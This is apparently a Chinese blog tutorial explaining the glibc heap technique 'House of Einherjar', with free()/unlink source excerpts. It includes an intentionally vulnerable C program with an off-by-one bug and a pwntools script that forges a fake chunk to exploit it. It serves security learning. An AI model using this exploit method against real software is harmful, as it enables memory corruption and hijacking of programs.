House of Einherjar

概述:

house of Einherjar是wiki上堆利用系列house系列的第一个,主要是利用堆块合并的基址配合构造的fake_chunk对系统进行欺骗,强制malloc在几乎是任意一个地址上分配出一个可供使用的fake_chunk。总体来说与前面的unsortedbin_chunk的overlapping有点像,但是这种利用方法并不是在物理相邻的几个堆块上操作了,而是涉及到unlink的可以跨越一大块地址的操作。

原理:

在这里插入图片描述

现在我们假设有上图这样几个chunk,house of Einherjar的目的就是让target_addr那个地方的内存作为可以被分配出来的chunk为我们所用。由于这种方法是跨越地址的后向合并,所以会涉及到free函数中的保护检查,那么首先来看一下free函数对应功能的源码:

/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size(p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}

简单讲一下这段源码的流程:

首先获得要被释放的堆块的prev_size的数值,并将合并后堆块的size位加上这个prev_size的数值。之后将堆块指针p(也就是指向堆块其实位置的那个指针)减去prev_size的数值,也就是:&p - prev_size,最后这个堆块指针会指向当前被释放堆块地址减去prev_size数值的那个地址上,最后进行unlink操作。

捋了捋free函数的对应源码,再结合以前unsortedbin_chunk overlapping的经验其实就可以得出一部分我们要使用house of Einherjar的条件了:

首先由于是要后合并,所以我们最好有溢出或者直接利用chunk的空间复用伪造prev_size位(即将prev_size位设置为&p - target_addr的数值),然后要有一个off_by_null或者off_by_one的漏洞覆盖prev_inuse位来通过合并检查。

然后就是与普通的unsortedbin_chunk overlapping不同的地方了,由于我们跨了一大段地址,并且target_addr处是不能作为unsortedbin_chunk提前释放来绕过unlink检查了。所以我们就要自己在target_addr处构造fake_chunk来绕过unlink的检查。那么既然提到了unlink检查就来回顾一下unlink要检查些什么(也可以看看我以前的文章):

  1. 检查被释放的chunk相邻高地址的chunk的pre_size是否与size位值相同
  2. 检查被释放chunk的相邻高地址chunk的P位值是否为0
  3. 检查被释放chunk的前后指针fd 和 bk

那么我们在target_addr处构造fake_chunk以绕过unlink检查时就主要注意这几点,大概的样子如下图:

在这里插入图片描述

这样就完成了target处fake_chunk的设置,这时只要释放chunk2就可以使它向前合并到target_addr处,并且会将这个合并后的大chunk挂进unsortedbin当中。之后我们就可以申请这个大chunk内的任意一块大小的内存为我们所用。

示例:

这里使用wiki上的例子,也可以参考how2heap上的例子,这是传送门:https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_einherjar.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(void){
    char* s0 = malloc(0x200); //构造fake chunk
    char* s1 = malloc(0x18);
    char* s2 = malloc(0xf0); 
    char* s3 = malloc(0x20); //为了不让s2与top chunk 合并
    printf("begin\n");
    printf("%p\n", s0);
    printf("input s0\n");
    read(0, s0, 0x200); //读入fake chunk
    printf("input s1\n");
    read(0, s1, 0x19); //Off By One
    free(s2);
    return 0;
}

这就是一个存在off_by_one漏洞的程序,下面我们写一个脚本来攻击一下它,脚本如下:

from pwn import *

p = process("./example")
context.log_level = 'debug'
#gdb.attach(p)
p.recvuntil("begin\n")
address = int(p.recvline().strip(), 16)
p.recvuntil("input s0\n")
payload = p64(0) + p64(0x101) + p64(address) * 2 + "A"*0xe0 #构造fake_chunk以绕过检查
payload += p64(0x100) #fake size
p.sendline(payload)
p.recvuntil("input s1\n")
payload = "A"*0x10 + p64(0x220) + "\x00"
p.sendline(payload)
p.recvall()
p.close()

首先看一下在target_addr处构造fake_chunk来绕过检查的操作:

在这里插入图片描述

前面的四个地址位宽上分别是prev_size,size(prev_inuse位),fd和bk指针,也就是上面我们提到的那种构造方式。

在这里插入图片描述

这里就是对fake_chunk的next_chunk的prev_size位进行伪造。这样就完成了unlink检查的绕过。

之后就是释放s2触发合并了,这里就不演示了

总结:

总结摘自wiki

这里我们总结下这个利用技术需要注意的地方

  • 需要有溢出漏洞可以写物理相邻的高地址的 prev_size 与 PREV_INUSE 部分。
  • 我们需要计算目的 chunk 与 p1 地址之间的差,所以需要泄漏地址。
  • 我们需要在目的 chunk 附近构造相应的 fake chunk,从而绕过 unlink 的检测。
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值